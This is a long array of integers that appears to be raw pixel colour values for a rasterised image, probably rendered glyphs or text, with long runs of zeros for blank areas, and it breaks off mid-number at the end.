0,102,11993087,16777215,11953664,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,14389306,0,0,0,14950,9493503,16777215,16767888,3801088,0,0,26294,16777215,16777215,16777215,14399120,6699520,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,58,9493503,16777215,11953664,0,0,102,11993087,16777142,6684672,0,14992,14417919,16777142,6684672,14992,14417846,11974399,14389306,0,6731519,16777215,11953664,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777142,6684672,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,14906,3815994,0,0,0,0,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,102,11993087,16777215,16767926,6699520,0,58,3838134,14417919,16767888,3801088,0,3838171,16777215,16777142,6699520,0,0,3827382,16777215,16777215,14389306,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,3838171,16777215,16777142,6699520,0,0,3827382,16777215,16777215,14389306,0,0,26294,16777215,16777215,14399078,3801088,0,102,11993087,16777215,11953664,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,58,9493503,16777215,14389306,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777179,9452032,102,11993087,16777179,9452032,0,26294,16777215,16777215,16758374,3801088,0,14992,14417919,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,3838171,16777215,16777179,9452032,0,0,14992,14417919,16777215,14389306,0,0,0,58,9493503,16777215,11974326,14389306,0,0,6731519,16777215,16758374,0,14992,14417919,16777215,11964474,3801088,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,102,11993087,16777142,6684672,26294,16777179,14408703,11953664,58,9493503,16777179,9452032,0,0,14992,14417919,16777179,9452032,102,11993087,16777215,14389306,0,0,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,6731519,16777215,16777142,6684672,0,0,0,0,0,58,6731519,16777215,16767888,3801088,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16777142,6699520,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,14399120,6699520,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,102,11993087,16777215,16767926,6699578,9493503,14389350,3838134,14417919,16767888,3801088,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,58,9493503,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,0,0,3838171,16777215,16758374,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16767926,9463354,3815994,3815994,3816038,9483995,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452090,9493503,16777215,14399120,6710886,9493467,14389306,58,9493503,16777142,6684672,0,102,11983871,16777215,16777179,9452134,11993087,16777215,14399078,0,0,0,0,3838171,16777215,16777142,6699520,0,26294,16777215,16777179,9452032,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,3838171,16777179,9463354,3815994,6731483,16777142,6684730,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777179,9452032,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,26294,14408667,14408667,14408667,14408667,14408630,6684672,0,0,0,0,0,26256,11983835,14408667,14408667,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,102,11993087,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408667,14408667,14408667,14408667,14399120,3801088,0,0,0,0,0,58,9483995,16777215,16777215,16767926,9452032,0,0,0,0,58,9493503,16777215,16758374,3801088,58,6731519,16777215,16767888,3801088,0,58,6710886,6710886,6710886,6710886,6710928,9483995,16777215,16777179,9452032,0,0,58,6710886,6710886,6710886,6710886,6710928,9493467,16777215,16777179,9452032,0,0,58,3827344,11974326,11974326,9474150,3801146,3838171,16777215,16777179,11953722,0,0,0,0,0,0,0,3838171,16777215,14399078,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16758374,102,11993087,16777215,16777215,16777215,16758374,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16758374,102,11993087,16758374,0,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,6731483,16777215,16767888,6721755,16777215,16767926,6684672,0,0,14992,14417919,16777142,6684672,0,26294,16777215,14389306,0,6731519,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,26294,16777215,16767888,3801088,0,0,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,14389306,0,0,6731519,16777215,14389306,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,3827382,16777215,16777215,16767888,3801088,3827382,16777215,16758374,0,102,11993087,16777215,16767926,6699520,0,58,3838134,14417919,16767888,3801088,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731483,16777215,16777215,16777215,16777215,16777179,9474230,16777215,16767888,3801088,0,26294,16777215,16777215,16758374,3801088,0,14992,14417919,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16758374,3801088,58,9493503,16777215,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16767888,3801088,0,3838171,16777215,11953664,0,0,0,0,0,3827344,11983871,16777215,16777215,16777215,14399078,3801088,0,0,0,0,0,0,14992,14417919,16777215,14399078,3801088,0,0,0,0,0,102,9493503,16777215,16777179,9452032,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,14950,9474230,14417919,16777215,16777215,16777215,16777215,16777215,14399120,9463354,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,58,9493503,16777215,11953664,26294,16777215,16777215,16758374,102,11993087,16777179,9452032,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,14408592,6699520,0,0,0,26294,16777215,16767888,3801088,0,0,102,11993087,16777179,9452032,0,0,58,9483995,14399120,6699520,0,0,14950,11993087,16777215,16767888,3801088,0,6731519,16777215,16767963,14408630,9463354,3815994,3827382,14417919,16777215,16758374,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,14950,11983835,16777215,16777215,16777215,16777215,16767926,9463354,0,0,0,26294,16777215,16777215,14399120,6699578,3816038,9483995,14399158,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6731483,16777215,16777215,11953664,0,0,0,0,58,9493503,16777215,16758374,3801088,0,0,0,58,9493503,16767888,3801146,9493503,16777142,6684672,0,58,9493503,16777142,6684672,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16767963,11964518,3801088,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,3838171,16777215,16758374,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,58,9493503,16777215,16777215,16777215,16777179,9452032,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,14906,6721718,14417919,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,14992,14417919,16777215,14389306,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,6731519,16777142,6684672,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16767888,3801088,0,0,14950,11983871,16777215,16777142,6684672,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,3827344,11983871,16777215,16777215,16777215,14399078,3801088,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777142,6684672,26294,16767888,9484031,16758374,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777179,14408703,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,26294,16777215,16777142,6684672,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16777142,6684672,0,0,0,0,14906,0,0,58,9493503,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,58,9493503,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,26294,16777215,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,58,9493503,16777215,14389306,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,14992,14417919,16777142,9452032,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,102,11993087,16777215,11953664,0,0,102,11993087,16777179,9452032,0,58,9493503,16777142,6684672,26294,16767888,9484031,14389306,58,9493503,16777179,9452032,0,0,0,3838171,16777215,16777142,9484031,16777215,16758374,0,0,0,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,3827344,11983835,16777215,16777215,16767926,6699520,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767963,11964518,3801088,0,58,9493503,16777215,14399120,6721718,14408703,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,58,9493503,14389306,0,14906,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,58,9493503,16777215,14389306,0,0,0,0,102,11993087,16777179,14408703,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684774,11993087,16777142,6684672,0,0,0,0,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777142,6699520,0,26294,16777215,16777179,9452032,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684672,3838171,16777179,9463354,3815994,6721755,16777179,9452032,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827302,9483958,11974326,9463354,3801088,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,14950,9493467,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16758374,3801088,58,6731519,16777215,16767888,3801088,0,0,0,0,14950,11983871,16777215,16767888,3801088,0,0,0,0,0,0,0,14950,11983871,16777215,14399120,3801088,0,0,0,0,0,0,0,14950,9493503,16777215,16767926,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,11953664,102,11993087,16777215,16777215,16777215,16758374,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16758374,0,0,3838171,16777215,16758374,0,3838171,16777215,16758374,0,6731519,16777142,6684672,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,58,9493503,16777142,6684672,0,6731519,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,102,11993087,16777179,14408703,16777215,11953664,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,1438